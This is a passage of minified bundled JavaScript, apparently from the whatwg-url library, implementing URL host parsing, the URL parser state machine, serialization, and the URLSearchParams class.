UZ.isASCIIAlpha(A)&&(K===s8(":")||K===s8("|"))}function _i4(A){return A.length===2&&UZ.isASCIIAlpha(A.codePointAt(0))&&(A[1]===":"||A[1]==="|")}function si9(A){return A.length===2&&UZ.isASCIIAlpha(A.codePointAt(0))&&A[1]===":"}function Gi4(A){return A.search(/\u0000|\u0009|\u000A|\u000D|\u0020|#|\/|:|<|>|\?|@|\[|\\|\]|\^|\|/u)!==-1}function ti9(A){return Gi4(A)||A.search(/[\u0000-\u001F]|%|\u007F/u)!==-1}function Sz1(A){return $i4[A]!==void 0}function QZ(A){return Sz1(A.scheme)}function dw6(A){return!Sz1(A.scheme)}function Zi4(A){return $i4[A]}function Wi4(A){if(A==="")return U5;let K=10;if(A.length>=2&&A.charAt(0)==="0"&&A.charAt(1).toLowerCase()==="x")A=A.substring(2),K=16;else if(A.length>=2&&A.charAt(0)==="0")A=A.substring(1),K=8;if(A==="")return 0;let q=/[^0-7]/u;if(K===10)q=/[^0-9]/u;if(K===16)q=/[^0-9A-Fa-f]/u;if(q.test(A))return U5;return parseInt(A,K)}function ei9(A){let K=A.split(".");if(K[K.length-1]===""){if(K.length>1)K.pop()}if(K.length>4)return U5;let q=[];for(let w of K){let H=Wi4(w);if(H===U5)return U5;q.push(H)}for(let w=0;w<q.length-1;++w)if(q[w]>255)return U5;if(q[q.length-1]>=256**(5-q.length))return U5;let Y=q.pop(),z=0;for(let w of q)Y+=w*256**(3-z),++z;return Y}function An9(A){let K="",q=A;for(let Y=1;Y<=4;++Y){if(K=String(q%256)+K,Y!==4)K=`.${K}`;q=Math.floor(q/256)}return K}function Kn9(A){let K=[0,0,0,0,0,0,0,0],q=0,Y=null,z=0;if(A=Array.from(A,(w)=>w.codePointAt(0)),A[z]===s8(":")){if(A[z+1]!==s8(":"))return U5;z+=2,++q,Y=q}while(z<A.length){if(q===8)return U5;if(A[z]===s8(":")){if(Y!==null)return U5;++z,++q,Y=q;continue}let w=0,H=0;while(H<4&&UZ.isASCIIHex(A[z]))w=w*16+parseInt(Hi4(A,z),16),++z,++H;if(A[z]===s8(".")){if(H===0)return U5;if(z-=H,q>6)return U5;let J=0;while(A[z]!==void 0){let O=null;if(J>0)if(A[z]===s8(".")&&J<4)++z;else return U5;if(!UZ.isASCIIDigit(A[z]))return U5;while(UZ.isASCIIDigit(A[z])){let X=parseInt(Hi4(A,z));if(O===null)O=X;else if(O===0)return U5;else O=O*10+X;if(O>255)return U5;++z}if(K[q]=K[q]*256+O,++J,J===2||J===4)++q}if(J!==4)return U5;break}else if(A[z]===s8(":")){if(++z,A[z]===void 0)return U5}else if(A[z]!==void 0)return U5;K[q]=w,++q}if(Y!==null){let w=q-Y;q=7;while(q!==0&&w>0){let H=K[Y+w-1];K[Y+w-1]=K[q],K[q]=H,--q,--w}}else if(Y===null&&q!==8)return U5;return K}function qn9(A){let K="",q=wn9(A),Y=!1;for(let z=0;z<=7;++z){if(Y&&A[z]===0)continue;else if(Y)Y=!1;if(q===z){K+=z===0?"::":":",Y=!0;continue}if(K+=A[z].toString(16),z!==7)K+=":"}return K}function cw6(A,K=!1){if(A[0]==="["){if(A[A.length-1]!=="]")return U5;return Kn9(A.substring(1,A.length-1))}if(K)return zn9(A);let q=di9(ci9(A)),Y=Hn9(q);if(Y===U5)return U5;if(Yn9(Y))return ei9(Y);return Y}function Yn9(A){let K=A.split(".");if(K[K.length-1]===""){if(K.length===1)return!1;K.pop()}let q=K[K.length-1];if(Wi4(q)!==U5)return!0;if(/^[0-9]+$/u.test(q))return!0;return!1}function zn9(A){if(Gi4(A))return U5;return bz1(A,Xi4)}function wn9(A){let K=null,q=1,Y=null,z=0;for(let w=0;w<A.length;++w)if(A[w]!==0){if(z>q)K=Y,q=z;Y=null,z=0}else{if(Y===null)Y=w;++z}if(z>q)return Y;return K}function iw6(A){if(typeof A==="number")return An9(A);if(A instanceof Array)return`[${qn9(A)}]`;return A}function Hn9(A,K=!1){let q=pi9.toASCII(A,{checkHyphens:K,checkBidi:!0,checkJoiners:!0,useSTD3ASCIIRules:K,transitionalProcessing:!1,verifyDNSLength:K,ignoreInvalidPunycode:!1});if(q===null)return U5;if(!K){if(q==="")return U5;if(ti9(q))return U5}return q}function Jn9(A){let K=0,q=A.length;for(;K<q;++K)if(A.charCodeAt(K)>32)break;for(;q>K;--q)if(A.charCodeAt(q-1)>32)break;return A.substring(K,q)}function On9(A){return A.replace(/\u0009|\u000A|\u000D/ug,"")}function Di4(A){let{path:K}=A;if(K.length===0)return;if(A.scheme==="file"&&K.length===1&&$n9(K[0]))return;K.pop()}function ji4(A){return A.username!==""||A.password!==""}function Xn9(A){return A.host===null||A.host===""||A.scheme==="file"}function KhA(A){return typeof A.path==="string"}function $n9(A){return/^[A-Za-z]:$/u.test(A)}function eO(A,K,q,Y,z){if(this.pointer=0,this.input=A,this.base=K||null,this.encodingOverride=q||"utf-8",this.stateOverride=z,this.url=Y,this.failure=!1,this.parseError=!1,!this.url){this.url={scheme:"",username:"",password:"",host:null,port:null,path:[],query:null,fragment:null};let H=Jn9(this.input);if(H!==this.input)this.parseError=!0;this.input=H}let w=On9(this.input);if(w!==this.input)this.parseError=!0;this.input=w,this.state=z||"scheme start",this.buffer="",this.atFlag=!1,this.arrFlag=!1,this.passwordTokenSeenFlag=!1,this.input=Array.from(this.input,(H)=>H.codePointAt(0));for(;this.pointer<=this.input.length;++this.pointer){let H=this.input[this.pointer],J=isNaN(H)?void 0:String.fromCodePoint(H),O=this[`parse ${this.state}`](H,J);if(!O)break;else if(O===U5){this.failure=!0;break}}}eO.prototype["parse scheme start"]=function(K,q){if(UZ.isASCIIAlpha(K))this.buffer+=q.toLowerCase(),this.state="scheme";else if(!this.stateOverride)this.state="no scheme",--this.pointer;else return this.parseError=!0,U5;return!0};eO.prototype["parse scheme"]=function(K,q){if(UZ.isASCIIAlphanumeric(K)||K===s8("+")||K===s8("-")||K===s8("."))this.buffer+=q.toLowerCase();else if(K===s8(":")){if(this.stateOverride){if(QZ(this.url)&&!Sz1(this.buffer))return!1;if(!QZ(this.url)&&Sz1(this.buffer))return!1;if((ji4(this.url)||this.url.port!==null)&&this.buffer==="file")return!1;if(this.url.scheme==="file"&&this.url.host==="")return!1}if(this.url.scheme=this.buffer,this.stateOverride){if(this.url.port===Zi4(this.url.scheme))this.url.port=null;return!1}if(this.buffer="",this.url.scheme==="file"){if(this.input[this.pointer+1]!==s8("/")||this.input[this.pointer+2]!==s8("/"))this.parseError=!0;this.state="file"}else if(QZ(this.url)&&this.base!==null&&this.base.scheme===this.url.scheme)this.state="special relative or authority";else if(QZ(this.url))this.state="special authority slashes";else if(this.input[this.pointer+1]===s8("/"))this.state="path or authority",++this.pointer;else this.url.path="",this.state="opaque path"}else if(!this.stateOverride)this.buffer="",this.state="no scheme",this.pointer=-1;else return this.parseError=!0,U5;return!0};eO.prototype["parse no scheme"]=function(K){if(this.base===null||KhA(this.base)&&K!==s8("#"))return U5;else if(KhA(this.base)&&K===s8("#"))this.url.scheme=this.base.scheme,this.url.path=this.base.path,this.url.query=this.base.query,this.url.fragment="",this.state="fragment";else if(this.base.scheme==="file")this.state="file",--this.pointer;else this.state="relative",--this.pointer;return!0};eO.prototype["parse special relative or authority"]=function(K){if(K===s8("/")&&this.input[this.pointer+1]===s8("/"))this.state="special authority ignore slashes",++this.pointer;else this.parseError=!0,this.state="relative",--this.pointer;return!0};eO.prototype["parse path or authority"]=function(K){if(K===s8("/"))this.state="authority";else this.state="path",--this.pointer;return!0};eO.prototype["parse relative"]=function(K){if(this.url.scheme=this.base.scheme,K===s8("/"))this.state="relative slash";else if(QZ(this.url)&&K===s8("\\"))this.parseError=!0,this.state="relative slash";else if(this.url.username=this.base.username,this.url.password=this.base.password,this.url.host=this.base.host,this.url.port=this.base.port,this.url.path=this.base.path.slice(),this.url.query=this.base.query,K===s8("?"))this.url.query="",this.state="query";else if(K===s8("#"))this.url.fragment="",this.state="fragment";else if(!isNaN(K))this.url.query=null,this.url.path.pop(),this.state="path",--this.pointer;return!0};eO.prototype["parse relative slash"]=function(K){if(QZ(this.url)&&(K===s8("/")||K===s8("\\"))){if(K===s8("\\"))this.parseError=!0;this.state="special authority ignore slashes"}else if(K===s8("/"))this.state="authority";else this.url.username=this.base.username,this.url.password=this.base.password,this.url.host=this.base.host,this.url.port=this.base.port,this.state="path",--this.pointer;return!0};eO.prototype["parse special authority slashes"]=function(K){if(K===s8("/")&&this.input[this.pointer+1]===s8("/"))this.state="special authority ignore slashes",++this.pointer;else this.parseError=!0,this.state="special authority ignore slashes",--this.pointer;return!0};eO.prototype["parse special authority ignore slashes"]=function(K){if(K!==s8("/")&&K!==s8("\\"))this.state="authority",--this.pointer;else this.parseError=!0;return!0};eO.prototype["parse authority"]=function(K,q){if(K===s8("@")){if(this.parseError=!0,this.atFlag)this.buffer=`%40${this.buffer}`;this.atFlag=!0;let Y=wi4(this.buffer);for(let z=0;z<Y;++z){let w=this.buffer.codePointAt(z);if(w===s8(":")&&!this.passwordTokenSeenFlag){this.passwordTokenSeenFlag=!0;continue}let H=hz1(w,lw6);if(this.passwordTokenSeenFlag)this.url.password+=H;else this.url.username+=H}this.buffer=""}else if(isNaN(K)||K===s8("/")||K===s8("?")||K===s8("#")||QZ(this.url)&&K===s8("\\")){if(this.atFlag&&this.buffer==="")return this.parseError=!0,U5;this.pointer-=wi4(this.buffer)+1,this.buffer="",this.state="host"}else this.buffer+=q;return!0};eO.prototype["parse hostname"]=eO.prototype["parse host"]=function(K,q){if(this.stateOverride&&this.url.scheme==="file")--this.pointer,this.state="file host";else if(K===s8(":")&&!this.arrFlag){if(this.buffer==="")return this.parseError=!0,U5;if(this.stateOverride==="hostname")return!1;let Y=cw6(this.buffer,dw6(this.url));if(Y===U5)return U5;this.url.host=Y,this.buffer="",this.state="port"}else if(isNaN(K)||K===s8("/")||K===s8("?")||K===s8("#")||QZ(this.url)&&K===s8("\\")){if(--this.pointer,QZ(this.url)&&this.buffer==="")return this.parseError=!0,U5;else if(this.stateOverride&&this.buffer===""&&(ji4(this.url)||this.url.port!==null))return this.parseError=!0,!1;let Y=cw6(this.buffer,dw6(this.url));if(Y===U5)return U5;if(this.url.host=Y,this.buffer="",this.state="path start",this.stateOverride)return!1}else{if(K===s8("["))this.arrFlag=!0;else if(K===s8("]"))this.arrFlag=!1;this.buffer+=q}return!0};eO.prototype["parse port"]=function(K,q){if(UZ.isASCIIDigit(K))this.buffer+=q;else if(isNaN(K)||K===s8("/")||K===s8("?")||K===s8("#")||QZ(this.url)&&K===s8("\\")||this.stateOverride){if(this.buffer!==""){let Y=parseInt(this.buffer);if(Y>65535)return this.parseError=!0,U5;this.url.port=Y===Zi4(this.url.scheme)?null:Y,this.buffer=""}if(this.stateOverride)return!1;this.state="path start",--this.pointer}else return this.parseError=!0,U5;return!0};var _n9=new Set([s8("/"),s8("\\"),s8("?"),s8("#")]);function Mi4(A,K){let q=A.length-K;return q>=2&&ai9(A[K],A[K+1])&&(q===2||_n9.has(A[K+2]))}eO.prototype["parse file"]=function(K){if(this.url.scheme="file",this.url.host="",K===s8("/")||K===s8("\\")){if(K===s8("\\"))this.parseError=!0;this.state="file slash"}else if(this.base!==null&&this.base.scheme==="file"){if(this.url.host=this.base.host,this.url.path=this.base.path.slice(),this.url.query=this.base.query,K===s8("?"))this.url.query="",this.state="query";else if(K===s8("#"))this.url.fragment="",this.state="fragment";else if(!isNaN(K)){if(this.url.query=null,!Mi4(this.input,this.pointer))Di4(this.url);else this.parseError=!0,this.url.path=[];this.state="path",--this.pointer}}else this.state="path",--this.pointer;return!0};eO.prototype["parse file slash"]=function(K){if(K===s8("/")||K===s8("\\")){if(K===s8("\\"))this.parseError=!0;this.state="file host"}else{if(this.base!==null&&this.base.scheme==="file"){if(!Mi4(this.input,this.pointer)&&si9(this.base.path[0]))this.url.path.push(this.base.path[0]);this.url.host=this.base.host}this.state="path",--this.pointer}return!0};eO.prototype["parse file host"]=function(K,q){if(isNaN(K)||K===s8("/")||K===s8("\\")||K===s8("?")||K===s8("#"))if(--this.pointer,!this.stateOverride&&_i4(this.buffer))this.parseError=!0,this.state="path";else if(this.buffer===""){if(this.url.host="",this.stateOverride)return!1;this.state="path start"}else{let Y=cw6(this.buffer,dw6(this.url));if(Y===U5)return U5;if(Y==="localhost")Y="";if(this.url.host=Y,this.stateOverride)return!1;this.buffer="",this.state="path start"}else this.buffer+=q;return!0};eO.prototype["parse path start"]=function(K){if(QZ(this.url)){if(K===s8("\\"))this.parseError=!0;if(this.state="path",K!==s8("/")&&K!==s8("\\"))--this.pointer}else if(!this.stateOverride&&K===s8("?"))this.url.query="",this.state="query";else if(!this.stateOverride&&K===s8("#"))this.url.fragment="",this.state="fragment";else if(K!==void 0){if(this.state="path",K!==s8("/"))--this.pointer}else if(this.stateOverride&&this.url.host===null)this.url.path.push("");return!0};eO.prototype["parse path"]=function(K){if(isNaN(K)||K===s8("/")||QZ(this.url)&&K===s8("\\")||!this.stateOverride&&(K===s8("?")||K===s8("#"))){if(QZ(this.url)&&K===s8("\\"))this.parseError=!0;if(oi9(this.buffer)){if(Di4(this.url),K!==s8("/")&&!(QZ(this.url)&&K===s8("\\")))this.url.path.push("")}else if(Ji4(this.buffer)&&K!==s8("/")&&!(QZ(this.url)&&K===s8("\\")))this.url.path.push("");else if(!Ji4(this.buffer)){if(this.url.scheme==="file"&&this.url.path.length===0&&_i4(this.buffer))this.buffer=`${this.buffer[0]}:`;this.url.path.push(this.buffer)}if(this.buffer="",K===s8("?"))this.url.query="",this.state="query";if(K===s8("#"))this.url.fragment="",this.state="fragment"}else{if(K===s8("%")&&(!UZ.isASCIIHex(this.input[this.pointer+1])||!UZ.isASCIIHex(this.input[this.pointer+2])))this.parseError=!0;this.buffer+=hz1(K,ri9)}return!0};eO.prototype["parse opaque path"]=function(K){if(K===s8("?"))this.url.query="",this.state="query";else if(K===s8("#"))this.url.fragment="",this.state="fragment";else if(K===s8(" ")){let q=this.input[this.pointer+1];if(q===s8("?")||q===s8("#"))this.url.path+="%20";else this.url.path+=" "}else{if(!isNaN(K)&&K!==s8("%"))this.parseError=!0;if(K===s8("%")&&(!UZ.isASCIIHex(this.input[this.pointer+1])||!UZ.isASCIIHex(this.input[this.pointer+2])))this.parseError=!0;if(!isNaN(K))this.url.path+=hz1(K,Xi4)}return!0};eO.prototype["parse query"]=function(K,q){if(!QZ(this.url)||this.url.scheme==="ws"||this.url.scheme==="wss")this.encodingOverride="utf-8";if(!this.stateOverride&&K===s8("#")||isNaN(K)){let Y=QZ(this.url)?ni9:ii9;if(this.url.query+=bz1(this.buffer,Y),this.buffer="",K===s8("#"))this.url.fragment="",this.state="fragment"}else if(!isNaN(K)){if(K===s8("%")&&(!UZ.isASCIIHex(this.input[this.pointer+1])||!UZ.isASCIIHex(this.input[this.pointer+2])))this.parseError=!0;this.buffer+=q}return!0};eO.prototype["parse fragment"]=function(K){if(!isNaN(K)){if(K===s8("%")&&(!UZ.isASCIIHex(this.input[this.pointer+1])||!UZ.isASCIIHex(this.input[this.pointer+2])))this.parseError=!0;this.url.fragment+=hz1(K,li9)}return!0};function Gn9(A,K){let q=`${A.scheme}:`;if(A.host!==null){if(q+="//",A.username!==""||A.password!==""){if(q+=A.username,A.password!=="")q+=`:${A.password}`;q+="@"}if(q+=iw6(A.host),A.port!==null)q+=`:${A.port}`}if(A.host===null&&!KhA(A)&&A.path.length>1&&A.path[0]==="")q+="/.";if(q+=nw6(A),A.query!==null)q+=`?${A.query}`;if(!K&&A.fragment!==null)q+=`#${A.fragment}`;return q}function Zn9(A){let K=`${A.scheme}://`;if(K+=iw6(A.host),A.port!==null)K+=`:${A.port}`;return K}function nw6(A){if(KhA(A))return A.path;let K="";for(let q of A.path)K+=`/${q}`;return K}Wn9.serializeURL=Gn9;Wn9.serializePath=nw6;Wn9.serializeURLOrigin=function(A){switch(A.scheme){case"blob":{let K=Wn9.parseURL(nw6(A));if(K===null)return"null";if(K.scheme!=="http"&&K.scheme!=="https")return"null";return Wn9.serializeURLOrigin(K)}case"ftp":case"http":case"https":case"ws":case"wss":return Zn9({scheme:A.scheme,host:A.host,port:A.port});case"file":return"null";default:return"null"}};Wn9.basicURLParse=function(A,K){if(K===void 0)K={};let q=new eO(A,K.baseURL,K.encodingOverride,K.url,K.stateOverride);if(q.failure)return null;return q.url};Wn9.setTheUsername=function(A,K){A.username=bz1(K,lw6)};Wn9.setThePassword=function(A,K){A.password=bz1(K,lw6)};Wn9.serializeHost=iw6;Wn9.cannotHaveAUsernamePasswordPort=Xn9;Wn9.hasAnOpaquePath=KhA;Wn9.serializeInteger=function(A){return String(A)};Wn9.parseURL=function(A,K){if(K===void 0)K={};return Wn9.basicURLParse(A,{baseURL:K.baseURL,encodingOverride:K.encodingOverride})}});var ow6=v((FNw,ki4)=>{var{utf8Encode:En9,utf8DecodeWithoutBOM:Vi4}=yz1(),{percentDecodeBytes:fi4,utf8PercentEncodeString:Ni4,isURLEncodedPercentEncode:Ti4}=Iz1();function vi4(A){return A.codePointAt(0)}function kn9(A){let K=Rn9(A,vi4("&")),q=[];for(let Y of K){if(Y.length===0)continue;let z,w,H=Y.indexOf(vi4("="));if(H>=0)z=Y.slice(0,H),w=Y.slice(H+1);else z=Y,w=new Uint8Array(0);z=Ei4(z,43,32),w=Ei4(w,43,32);let J=Vi4(fi4(z)),O=Vi4(fi4(w));q.push([J,O])}return q}function Cn9(A){return kn9(En9(A))}function Ln9(A){let K="";for(let[q,Y]of A.entries()){let z=Ni4(Y[0],Ti4,!0),w=Ni4(Y[1],Ti4,!0);if(q!==0)K+="&";K+=`${z}=${w}`}return K}function Rn9(A,K){let q=[],Y=0,z=A.indexOf(K);while(z>=0)q.push(A.slice(Y,z)),Y=z+1,z=A.indexOf(K,Y);if(Y!==A.length)q.push(A.slice(Y));return q}function Ei4(A,K,q){let Y=A.indexOf(K);while(Y>=0)A[Y]=q,Y=A.indexOf(K,Y+1);return A}ki4.exports={parseUrlencodedString:Cn9,serializeUrlencoded:Ln9}});var Li4=v((yn9)=>{var Ci4=Cz1(),xz1=Rz1();yn9.convert=(A,K,{context:q="The provided value"}={})=>{if(typeof K!=="function")throw new A.TypeError(q+" is not a function");function Y(...z){let w=xz1.tryWrapperForImpl(this),H;for(let J=0;J<z.length;J++)z[J]=xz1.tryWrapperForImpl(z[J]);return H=Reflect.apply(K,w,z),H=Ci4.any(H,{context:q,globals:A}),H}return Y.construct=(...z)=>{for(let H=0;H<z.length;H++)z[H]=xz1.tryWrapperForImpl(z[H]);let w=Reflect.construct(K,z);return w=Ci4.any(w,{context:q,globals:A}),w},Y[xz1.wrapperSymbol]=K,Y.objectReference=K,Y}});var Ri4=v((Sn9)=>{var aw6=ow6();Sn9.implementation=class{constructor(K,q,{doNotStripQMark:Y=!1}){let z=q[0];if(this._list=[],this._url=null,!Y&&typeof z==="string"&&z[0]==="?")z=z.slice(1);if(Array.isArray(z))for(let w of z){if(w.length!==2)throw TypeError("Failed to construct 'URLSearchParams': parameter 1 sequence's element does not contain exactly two elements.");this._list.push([w[0],w[1]])}else if(typeof z==="object"&&Object.getPrototypeOf(z)===null)for(let w of Object.keys(z)){let H=z[w];this._list.push([w,H])}else this._list=aw6.parseUrlencodedString(z)}_updateSteps(){if(this._url!==null){let K=aw6.serializeUrlencoded(this._list);if(K==="")K=null;this._url._url.query=K}}get size(){return this._list.length}append(K,q){this._list.push([K,q]),this._updateSteps()}delete(K,q){let Y=0;while(Y<this._list.length)if(this._list[Y][0]===K&&(q===void 0||this._list[Y][1]===q))this._list.splice(Y,1);else Y++;this._updateSteps()}get(K){for(let q of this._list)if(q[0]===K)return q[1];return null}getAll(K){let q=[];for(let Y of this._list)if(Y[0]===K)q.push(Y[1]);return q}has(K,q){for(let Y of this._list)if(Y[0]===K&&(q===void 0||Y[1]===q))return!0;return!1}set(K,q){let Y=!1,z=0;while(z<this._list.length)if(this._list[z][0]===K)if(Y)this._list.splice(z,1);else Y=!0,this._list[z][1]=q,z++;else z++;if(!Y)this._list.push([K,q]);this._updateSteps()}sort(){this._list.sort((K,q)=>{if(K[0]<q[0])return-1;if(K[0]>q[0])return 1;return 0}),this._updateSteps()}[Symbol.iterator](){return this._list[Symbol.iterator]()}toString(){return aw6.serializeUrlencoded(this._list)}}});var tw6=v((un9)=>{var cV=Cz1(),jw=Rz1(),bn9=Li4(),yi4=jw.newObjectInRealm,KX=jw.implSymbol,Ii4=jw.ctorRegistrySymbol;un9.is=(A)=>{return jw.isObject(A)&&jw.hasOwn(A,KX)&&A[KX]instanceof wo.implementation};un9.isImpl=(A)=>{return jw.isObject(A)&&A instanceof wo.implementation};un9.convert=(A,K,{context:q="The provided value"}={})=>{if(un9.is(K))return jw.implForWrapper(K);throw new A.TypeError(`${q} is not of type 'URLSearchParams'.`)};un9.createDefaultIterator=(A,K,q)=>{let z=A[Ii4]["URLSearchParams Iterator"],w=Object.create(z);return Object.defineProperty(w,jw.iterInternalSymbol,{value:{target:K,kind:q,index:0},configurable:!0}),w};function Si4(A,K){let q;if(K!==void 0)q=K.prototype;if(!jw.isObject(q))q=A[Ii4].URLSearchParams.prototype;return Object.create(q)}un9.create=(A,K,q)=>{let Y=Si4(A);return un9.setup(Y,A,K,q)};un9.createImpl=(A,K,q)=>{let Y=un9.create(A,K,q);return jw.implForWrapper(Y)};un9._internalSetup=(A,K)=>{};un9.setup=(A,K,q=[],Y={})=>{if(Y.wrapper=A,un9._internalSetup(A,K),Object.defineProperty(A,KX,{value:new wo.implementation(K,q,Y),configurable:!0}),A[KX][jw.wrapperSymbol]=A,wo.init)wo.init(A[KX]);return A};un9.new=(A,K)=>{let q=Si4(A,K);if(un9._internalSetup(q,A),Object.defineProperty(q,KX,{value:Object.create(wo.implementation.prototype),configurable:!0}),q[KX][jw.wrapperSymbol]=q,wo.init)wo.init(q[KX]);return q[KX]};var xn9=new Set(["Window","Worker"]);un9.install=(A,K)=>{if(!K.some((z)=>xn9.has(z)))return;let q=jw.initCtorRegistry(A);class Y{constructor(){let z=[];{let w=arguments[0];if(w!==void 0)if(jw.isObject(w))if(w[Symbol.iterator]!==void 0)if(!jw.isObject(w))throw new A.TypeError("Failed to construct 'URLSearchParams': parameter 1 sequence is not an iterable object.");else{let H=[],J=w;for(let O of J){if(!jw.isObject(O))throw new A.TypeError("Failed to construct 'URLSearchParams': parameter 1 sequence's element is not an iterable object.");else{let X=[],$=O;for(let _ of $)_=cV.USVString(_,{context:"Failed to construct 'URLSearchParams': parameter 1 sequence's element's element",globals:A}),X.push(_);O=X}H.push(O)}w=H}else if(!jw.isObject(w))throw new A.TypeError("Failed to construct 'URLSearchParams': parameter 1 record is not an object.");else{let H=Object.create(null);for(let J of Reflect.ownKeys(w)){let O=Object.getOwnPropertyDescriptor(w,J);if(O&&O.enumerable){let X=J;X=cV.USVString(X,{context:"Failed to construct 'URLSearchParams': parameter 1 record's key",globals:A});let $=w[J];$=cV.USVString($,{context:"Failed to construct 'URLSearchParams': parameter 1 record's value",globals:A}),H[X]=$}}w=H}else w=cV.USVString(w,{context:"Failed to construct 'URLSearchParams': parameter 1",globals:A});else w="";z.push(w)}return un9.setup(Object.create(new.target.prototype),A,z)}append(z,w){let H=this!==null&&this!==void 0?this:A;if(!un9.is(H))throw new A.TypeError("'append' called on an object that is not a valid instance of URLSearchParams.");if(arguments.length<2)throw new A.TypeError(`Failed to execute 'append' on 'URLSearchParams': 2 arguments required, but only ${arguments.length} present.`);let J=[];{let O=arguments[0];O=cV.USVString(O,{context:"Failed to execute 'append' on 'URLSearchParams': parameter 1",globals:A}),J.push(O)}{let O=arguments[1];O=cV.USVString(O,{context:"Failed to execute 'append' on 'URLSearchParams': parameter 2",globals:A}),J.push(O)}return jw.tryWrapperForImpl(H[KX].append(...J))}delete(z){let w=this!==null&&this!==void 0?this:A;if(!un9.is(w))throw new A.TypeError("'delete' called on an object that is not a valid instance of URLSearchParams.");if(arguments.length<1)throw new A.TypeError(`Failed to execute 'delete' on 'URLSearchParams': 1 argument required, but only ${arguments.length} present.`);let H=[];{let J=arguments[0];J=cV.USVString(J,{context:"Failed to execute 'delete' on 'URLSearchParams': parameter 1",globals:A}),H.push(J)}{let J=arguments[1];if(J!==void 0)J=cV.USVString(J,{context:"Failed to execute 'delete' on 'URLSearchParams': parameter 2",globals:A});H.push(J)}return jw.tryWrapperForImpl(w[KX].delete(...H))}get(z){let w=this!==null&&this!==void 0?this:A;if(!un9.is(w))throw new A.TypeError("'get' called on an object that is not a valid instance of URLSearchParams.");if(arguments.length<1)throw new A.TypeError(`Failed to execute 'get' on 'URLSearchParams': 1 argument required, but only ${arguments.length} present.`);let H=[];{let J=arguments[0];J=cV.USVString(J,{context:"Failed to execute 'get' on 'URLSearchParams': parameter 1",globals:A}),H.push(J)}return w[KX].get(...H)}getAll(z){let w=this!==null&&this!==void 0?this:A;if(!un9.is(w))throw new A.TypeError("'getAll' called on an object that is not a valid instance of URLSearchParams.");if(arguments.length<1)throw new A.TypeError(`Failed to execute 'getAll' on 'URLSearchParams': 1 argument required, but only ${arguments.length} present.`);let H=[];{let J=arguments[0];J=cV.USVString(J,{context:"Failed to execute 'getAll' on 'URLSearchParams': parameter 1",globals:A}),H.push(J)}return jw.tryWrapperForImpl(w[KX].getAll(...H))}has(z){let w=this!==null&&this!==void 0?this:A;if(!un9.is(w))throw new A.TypeError("'has' called on an object that is not a valid instance of URLSearchParams.");if(arguments.length<1)throw new A.TypeError(`Failed to execute 'has' on 'URLSearchParams': 1 argument required, but only ${arguments.length} present.`);let H=[];{let J=arguments[0];J=cV.USVString(J,{context:"Failed to execute 'has' on 'URLSearchParams': parameter 1",globals:A}),H.push(J)}{let J=arguments[1];if(J!==void 0)J=cV.USVString(J,{context:"Failed to execute 'has' on 'URLSearchParams': parameter 2",globals:A});H.push(J)}return w[KX].has(...H)}set(z,w){let H=this!==null&&this!==void 0?this:A;if(!un9.is(H))throw new A.TypeError("'set' called on an object that is not a valid instance of URLSearchParams.");if(arguments.length<2)throw new A.TypeError(`Failed to execute 'set' on 'URLSearchParams': 2 arguments required, but only ${arguments.length} present.`);let J=[];{let O=arguments[0];O=cV.USVString(O,{context:"Failed to execute 'set' on 'URLSearchParams': parameter 1",globals:A}),J.push(O)}{let O=arguments[1];O=cV.USVString(O,{context:"Failed to execute 'set' on 'URLSearchParams': parameter 2",globals:A}),J.push(O)}return jw.tryWrapperForImpl(H[KX].set(...J))}sort(){let z=this!==null&&this!==void 0?this:A;if(!un9.is(z))throw new A.TypeError("'sort' called on an object that is not a valid instance of URLSearchParams.");return jw.tryWrapperForImpl(z[KX].sort())}toString(){let z=this!==null&&this!==void 0?this:A;if(!un9.is(z))throw new A.TypeError("'toString' called on an object that is not a valid instance of URLSearchParams.");return z[KX].toString()}keys(){if(!un9.is(this))throw new A.TypeError("'keys' called on an object that is not a valid instance of URLSearchParams.");return un9.createDefaultIterator(A,this,"key")}values(){if(!un9.is(this))throw new A.TypeError("'values' called on an object that is not a valid instance of URLSearchParams.");return un9.createDefaultIterator(A,this,"value")}entries(){if(!un9.is(this))throw new A.TypeError("'entries' called on an object that is not a valid instance of URLSearchParams.");return un9.createDefaultIterator(A,this,"key+value")}forEach(z){if(!un9.is(this))throw new A.TypeError("'forEach' called on an object that is not a valid instance of URLSearchParams.");if(arguments.length<1)throw new A.TypeError("Failed to execute 'forEach' on 'iterable': 1 argument required, but only 0 present.");z=bn9.convert(A,z,{context:"Failed to execute 'forEach' on 'iterable': The callback provided as parameter 1"});let w=arguments[1],H=Array.from(this[KX]),J=0;while(J<H.length){let[O,X]=H[J].map(jw.tryWrapperForImpl);z.call(w,X,O,this),H=Array.from(this[KX]),J++}}get size(){let z=this!==null&&this!==void 0?this:A;if(!un9.is(z))throw new A.TypeError("'get size' called on an object that is not a valid instance of URLSearchParams.");return z[KX].size}}Object.defineProperties(Y.prototype,{append:{enumerable:!0},delete:{enumerable:!0},get:{enumerable:!0},getAll:{enumerable:!0},has:{enumerable:!0},set:{enumerable:!0},sort:{enumerable:!0},toString:{enumerable:!0},keys:{enumerable:!0},values:{enumerable:!0},entries:{enumerable:!0},forEach:{enumerable:!0},size:{enumerable:!0},[Symbol.toStringTag]:{value:"URLSearchParams",configurable:!0},[Symbol.iterator]:{value:Y.prototype.entries,configurable:!0,writable:!0}}),q.URLSearchParams=Y,q["URLSearchParams Iterator"]=Object.create(q["%IteratorPrototype%"],{[Symbol.toStringTag]:{configurable:!0,value:"URLSearchParams Iterator"}}),jw.define(q["URLSearchParams Iterator"],{next(){let z=this&&this[jw.iterInternalSymbol];if(!z)throw new A.TypeError("next() called on a value that is not a URLSearchParams iterator object");let{target:w,kind:H,index:J}=z,O=Array.from(w[KX]),X=O.length;if(J>=X)return yi4(A,{value:void 0,done:!0});let $=O[J];return z.index=J+1,yi4(A,jw.iteratorResult($.map(jw.tryWrapperForImpl),H))}}),Object.defineProperty(A,"URLSearchParams",{configurable:!0,writable:!0,value:Y})};var wo=Ri4()});var ui4=v((pn9)=>{var nz=rw6(),xi4=ow6(),Un9=tw6();pn9.implementation=class A{constructor(K,[q,Y]){let z=null;if(Y!==void 0){if(z=nz.basicURLParse(Y),z===null)throw TypeError(`Invalid base URL: ${Y}`)}let w=nz.basicURLParse(q,{baseURL:z});if(w===null)throw TypeError(`Invalid URL: ${q}`);let H=w.query!==null?w.query:"";this._url=w,this._query=Un9.createImpl(K,[H],{doNotStripQMark:!0}),this._query._url=this}static parse(K,q,Y){try{return new A(K,[q,Y])}catch{return null}}static canParse(K,q){let Y=null;if(q!==void 